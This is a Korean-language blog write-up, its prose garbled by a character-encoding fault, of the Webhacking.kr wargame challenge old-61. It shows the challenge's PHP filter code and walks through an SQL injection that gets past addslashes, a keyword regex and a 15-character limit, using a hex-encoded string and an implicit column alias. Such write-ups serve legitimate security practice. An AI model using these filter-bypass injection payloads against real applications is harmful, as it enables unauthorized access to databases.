Home [Wargame] Webhacking.kr old-61 (SQL Injection)
Post
Cancel

[Wargame] Webhacking.kr old-61 (SQL Injection)

๐Ÿšฉ ๋ฌธ์ œ ํŒŒ์•…


image

๋ฌธ์ œ ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด view-source ์ด์™ธ์—๋Š” ๋‹ค๋ฅธ ์š”์†Œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์—†๋‹ค. ๋งํฌ๋ฅผ ํด๋ฆญํ•˜์—ฌ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด์ž.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// id ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ addslashes ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๋ฌธ์ž์—ด ์ด์Šค์ผ€์ดํ”„
$_GET['id'] = addslashes($_GET['id']);

// ๋ฌธ์ž์—ด ์ •๊ทœ์‹ ๊ฒ€์‚ฌ
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");

// ๋ฌธ์ž์—ด ๊ธธ์ด๊ฐ€ 15๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ์ข…๋ฃŒ
if(strlen($_GET['id'])>15) exit("Access Denied");

// MySQL ์ฟผ๋ฆฌ๋ฌธ ์‹คํ–‰
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";

// ์ฟผ๋ฆฌ ์‹คํ–‰ ๊ฒฐ๊ณผ ๊ฐ’์ด admin ๋ฌธ์ž์—ด๊ณผ ๊ฐ™๋‹ค๋ฉด ๋ฌธ์ œ ํ•ด๊ฒฐ
if($result['id'] == "admin") solve(61);

์ฝ”๋“œ์—์„œ ์ฃผ์š”ํ•œ ๋ถ€๋ถ„์€ ์œ„์™€ ๊ฐ™๋‹ค.



๐Ÿšฉ ๋ฌธ์ œ ํ’€์ด


์šฐ์„ , ์ž…๋ ฅ ๊ฐ’ id๋ฅผ ํ†ตํ•ด ๊ตฌ์„ฑํ•˜๋Š” ์ฟผ๋ฆฌ๋ฌธ์„ ๋ถ„์„ํ•ด๋ณด์ž.


1
select {id} from chall61 order by id desc limit 1

: chall61 ํ…Œ์ด๋ธ”์„ id ์ปฌ๋Ÿผ์„ ๊ธฐ์ค€์œผ๋กœ ๋‚ด๋ฆผ์ฐจ์ˆœ์œผ๋กœ ์ •๋ ฌํ•˜์˜€์„ ๋•Œ ์ตœ์ƒ์œ„ 1๊ฐœ ๋ฐ์ดํ„ฐ์˜ id ๊ฐ’์„ ์ถ”์ถœ


์ฆ‰, id ์ปฌ๋Ÿผ์„ ๊ธฐ์ค€์œผ๋กœ ๋‚ด๋ฆผ์ฐจ์ˆœํ•˜์˜€์„ ๋•Œ ์ตœ์ƒ์œ„ 1๊ฐœ ๋ฐ์ดํ„ฐ์˜ id ๊ฐ’์„ ์ •ํ™•ํ•˜๊ฒŒ ์ž…๋ ฅํ•ด์•ผ ํ•ด๋‹น ๊ฐ’์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด ๊ฐ’์ด admin์ด์–ด์•ผ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ์œผ๋‚˜, ?id=admin์œผ๋กœ ์š”์ฒญํ•˜์—ฌ๋„ ์•„๋ฌด๋Ÿฐ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์—†๊ธฐ์— SQL Injection ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์„ ์ถ”์ถœํ•ด์•ผ ํ•œ๋‹ค.


์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•œ ์ •๊ทœ์‹ ๊ฒ€์‚ฌ ๊ตฌ๋ฌธ์„ ๋ถ„์„ํ•ด์•ผ ํ•œ๋‹ค. ๋ถ„์„ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฌธ์ž ๋ฐ ๋ฌธ์ž์—ด ์‚ฌ์šฉ ๋ถˆ๊ฐ€ ์กฐ๊ฑด์ด ์ ์šฉ๋˜์—ˆ๋‹ค.

1
/\(|\)|select|from|,|by|\./i
  • ( ๋ฌธ์ž
  • ) ๋ฌธ์ž
  • select ๋ฌธ์ž์—ด
  • from ๋ฌธ์ž์—ด
  • , ๋ฌธ์ž
  • by ๋ฌธ์ž์—ด
  • . ๋ฌธ์ž
  • Case sensitive


๊ฒฐ๊ตญ ์—ฌ๋Ÿฌ ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•˜๊ณ  `'admin'`์ด๋ผ๋Š” ๋ฌธ์ž์—ด์„ select ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ด์•ผํ•˜๋Š” ๊ฒƒ์ด ์ด ๋ฌธ์ œ์˜ ๊ถ๊ทน์ ์ธ ๋ชฉํ‘œ์ด๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” MySQL์—์„œ ์‚ฌ์šฉํ•˜๋Š” alias ๋ผ๋Š” ํ‚ค์›Œ๋“œ์ด๋‹ค.


alias ํ‚ค์›Œ๋“œ๋Š” ํ…Œ์ด๋ธ”์ด๋‚˜ ํŠน์ • ์ปฌ๋Ÿผ์— ์ƒˆ๋กœ์šด ์ด๋ฆ„, ์ฆ‰ ๋ณ„์นญ์„ ์ง€์ •ํ•ด์ค„ ๋•Œ ์‚ฌ์šฉํ•œ๋‹ค.


1
select 'abc' as id;

์œ„์™€ ๊ฐ™์ด ์‹คํ–‰ํ•œ๋‹ค๋ฉด abc๋ผ๋Š” ๋ฌธ์ž์—ด ๊ฐ’์„ ๊ฐ€์ง„ ์ปฌ๋Ÿผ์„ id๋กœ ๋ถ€๋ฅผ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.


1
select 'admin' as id from chall61 order by id desc limit 1

๋งŒ์•ฝ id ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์œผ๋กœ 'admin' as id๋ผ๋Š” ๊ฐ’์„ ๋„˜๊ฒจ์ฃผ๋ฉด ์œ„์™€ ๊ฐ™์€ ์ฟผ๋ฆฌ๋ฌธ์„ ๊ตฌ์„ฑํ•˜๊ฒŒ ๋˜๊ณ  ํ•ด๋‹น ์ฟผ๋ฆฌ๋ฌธ์—์„œ id ์ปฌ๋Ÿผ์€ 'admin' ๋ฌธ์ž์—ด์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ์ฟผ๋ฆฌ๋ฌธ์˜ ์‹คํ–‰ ๊ฒฐ๊ณผ๋Š” 'admin'์ด ๋œ๋‹ค.


image

์—ฌ๊ธฐ์„œ ํ•œ ๊ฐ€์ง€ ๋ฌธ์ œ์ ์ด ์žˆ๋Š”๋ฐ, ์•ž์„œ id ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ addslashes ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ•„ํ„ฐ๋งํ•˜๊ธฐ์— ์‹ฑ๊ธ€์ฟผํ„ฐ '๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ MySQL์—์„œ๋Š” hex ๊ฐ’์„ ASCII ๊ฐ’์œผ๋กœ ์ธ์‹ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์œ„์˜ ์ด๋ฏธ์ง€์™€ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ์šฐ๋ฆฌ๋Š” 'admin' ๋ฌธ์ž์—ด ๋Œ€์‹ ์— hex ๊ฐ’ 0x61646d696e์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.


image

1
?id=0x61646d696e as id

์ด์ œ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋„˜๊ธธ ๊ฐ’์„ ๊ตฌ์„ฑํ•ด๋ณด์ž. ์ด๋ ‡๊ฒŒ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์„ค์ •ํ•˜๊ณ  url ์š”์ฒญ์„ ํ•˜๋ฉด ์œ„์˜ ์ด๋ฏธ์ง€์ฒ˜๋Ÿผ access denied ๋ฌธ๊ตฌ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด์œ ๋Š” ์กฐ๊ฑด ์ค‘์— id ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๊ฐ€ 15๋ฅผ ์ดˆ๊ณผํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ์ด์— ๋Œ€ํ•œ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์€ ๊ฐ„๋‹จํ•œ๋ฐ, alias ํ‚ค์›Œ๋“œ `as`๋Š” ์ƒ๋žต์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์„ ์ด์šฉํ•˜๋ฉด ๋œ๋‹ค.


1
?id=0x61646d696e id

๋”ฐ๋ผ์„œ ์œ„์™€ ๊ฐ™์ด ๊ตฌ์„ฑํ•˜๋ฉด ์ •ํ™•ํžˆ 15๊ธ€์ž๋กœ ๊ฐ’์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.


image

๋ฌธ์ œ ํ•ด๊ฒฐ!

[Wargame] Webhacking.kr old-42 (Base64)

[Wargame] Webhacking.kr old-47 (SMTP Injection)